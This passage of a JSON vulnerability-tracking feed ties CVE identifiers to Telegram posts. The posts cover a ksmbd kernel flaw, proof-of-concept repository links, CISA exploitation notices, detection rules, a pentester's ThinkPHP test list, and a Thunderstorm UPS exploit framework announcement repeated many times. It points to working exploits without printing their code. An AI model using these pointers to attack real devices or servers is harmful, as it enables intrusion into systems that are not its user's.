\u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e ksmbd \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0441\u0430\u043c\u043e\u043c \u044f\u0434\u0440\u0435, \u0430 \u043d\u0435 \u0432 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0422\u0430\u043a\u0436\u0435 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 ksmbd \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 SMB-\u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441 \u043d\u0438\u043c\u0438.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0431 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u043b\u043e\u0436\u0438\u043b\u0438 \u043f\u043e\u0447\u0442\u0438 \u043d\u0430 \u043f\u043e\u043b\u0433\u043e\u0434\u0430, \u0442.\u043a. \u0436\u0434\u0430\u043b\u0438 \u0432\u044b\u0445\u043e\u0434\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u043b\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u0430\u0433\u0430.\n\n\u0422\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 ksmbd, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e Linux \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 5.15.61 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u043e\u0439, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430.\n\n\ud83d\uddde \u0411\u043b\u043e\u0433 \u041a\u043e\u0434\u0435\u0431\u0430\u0439\n\n#news #linux #vulnerability", "creation_timestamp": "2026-07-29T12:03:23.047168Z"}, {"uuid": "9bc1222b-e063-4aa0-bdfc-8511eabedbe2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47615", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/19328", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-47615*\nGithub: https://github.com/RandomRobbieBF/CVE-2022-47615", "creation_timestamp": "2026-07-30T00:00:25.603859Z"}, {"uuid": "e9fe6994-783f-4928-8802-e7d102937a02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47909", "type": "seen", "source": "https://t.me/CVEhub/9246", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-47909_unauth_arbitrary_file_deletion*\nGithub: https://github.com/JacobEbben/CVE-2022-47909_unauth_arbitrary_file_deletion", "creation_timestamp": "2026-07-30T00:01:15.353236Z"}, {"uuid": "d9a1a812-f900-4d7d-998d-b2636dde8507", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/reverseame/3064", "content": "CVE-2022-47966 https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis", "creation_timestamp": "2026-07-30T00:02:32.736725Z"}, {"uuid": "6f295dcb-699c-4a95-82f8-b128200de1c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47629", "type": "seen", "source": "https://t.me/reverseame/3024", "content": "Write-up of CVE-2022-47629 https://github.com/elttam/publications/blob/master/writeups/CVE-2022-47629.md", "creation_timestamp": "2026-07-30T00:02:32.843493Z"}, {"uuid": "82ce7f91-e4c2-4303-8b38-174de00c097c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/reverseame/3128", "content": "A Different Payload for CVE-2022-47966 https://vulncheck.com/blog/cve-2022-47966-payload", "creation_timestamp": "2026-07-30T00:02:31.772006Z"}, {"uuid": "ea8986b3-a0eb-4655-bb1a-8942595c45bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "https://t.me/cissp/6627", "content": "CISA has updated its Known Exploited Vulnerabilities catalog with three new vulnerabilities that are currently being exploited \u2014 IBM Aspera Faspex (CVE-2022-47986) and Mitel MiVoice Connect (CVE-2022-41223 and CVE-2022-40765).\nRead more: https://thehackernews.com/2023/02/us-cybersecurity-agency-cisa-adds-three.html\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.12.03", "creation_timestamp": "2026-09-01T17:00:22.183263Z"}, {"uuid": "07b26b4c-9938-4b11-af35-bde86dc06e43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/cissp/6526", "content": "Blue Team Techniques\n1. YARA/Sigma rule to detect the exploitation of ManageEngine ServiceDesk CVE-2022-47966\nhttps://github.com/Neo23x0/signature-base/blob/master/yara/expl_manageengine_jan23.yar\nhttps://github.com/SigmaHQ/sigma/pull/3935/files\n\n2. Investigate malicious Windows logon by visualizing and analyzing Windows event log\nhttps://github.com/JPCERTCC/LogonTracer\n\n\n\u2069-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.10.30", "creation_timestamp": "2026-09-01T17:00:23.773844Z"}, {"uuid": "26140748-238c-436b-a05e-7d00409333e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/cissp/6496", "content": "\ud83d\udd25 Don't wait until it's too late!\n\nZoho ManageEngine users, patch your instances now to avoid falling victim to critical CVE-2022-47966 vulnerability.\n\nDetails: https://thehackernews.com/2023/01/zoho-manageengine-poc-exploit-to-be.html\n\nResearchers are about to release  PoC exploit code.\n\n\n\u2069-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.10.27", "creation_timestamp": "2026-09-01T17:00:23.888280Z"}, {"uuid": "69978480-31a0-4088-853c-a193da156c80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://t.me/hacking_Attack/187001", "content": "PHP may not have as many problems as people think.\nhttps://www.reddit.com/r/Pentesting/comments/1u2ahtj/php_may_not_have_as_many_problems_as_people_think/\n\nWe always thought PHP had many vulnerabilities, but that is not really true. Recently, I have been testing a website that uses ThinkPHP 5.0.24 and FastAdmin. I found the server IP address, subdomains, and some paths such as main, api, admin, and img. I checked:  File upload (CVE-2022-44289) Some serialized interfaces SQL injection testing on the login page with sqlmap Weak passwords on the login page CVEs: CVE-2024-7928, CVE-2022-47945, CVE-2021-23592 Nginx 1.26.1, no serious vulnerabilities found MySQL is installed, port 3306 is open  I am still testing:  PHP vulnerabilities (7.2, 7.3, 7.4, etc.)  Now I am confused. What should I do next?    submitted by    /u/Able_Statistician201  (https://www.reddit.com/user/Able_Statistician201) \n [link] (https://www.reddit.com/r/Pentesting/comments/1u2ahtj/php_may_not_have_as_many_problems_as_people_think/)   [comments] (https://www.reddit.com/r/Pentesting/comments/1u2ahtj/php_may_not_have_as_many_problems_as_people_think/)", "creation_timestamp": "2026-09-01T20:00:07.743394Z"}, {"uuid": "cab9db07-d4b1-4546-a7d0-b66f23e70062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47190", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-01T20:01:00.964845Z"}, {"uuid": "41ff0ec5-a86b-4b98-b7d4-334224de3e73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47891", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-01T20:01:00.742887Z"}, {"uuid": "a25274d0-5fc2-4bf2-802a-041dfaa6dce5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47191", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-01T20:01:00.685675Z"}, {"uuid": "0b08c5ca-f9f5-4ab2-9974-fb7fa47f0235", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47191", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-01T20:01:03.104506Z"}, {"uuid": "2361d21d-01f1-4643-9272-86b15e5b278f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47189", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-01T20:01:01.000562Z"}, {"uuid": "1b586d07-8be2-4e9d-a5be-dd9c6afe2420", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47188", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-01T20:01:01.033446Z"}, {"uuid": "1eaea61b-2bc6-44fd-a3f6-74483dda8593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47892", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-01T20:01:01.062906Z"}, {"uuid": "36b7c374-c809-4909-a6d5-0f09bbf76de2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47192", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-01T20:01:01.092021Z"}, {"uuid": "3aa12484-9e87-43bd-b025-2b506c0e003b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47893", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository 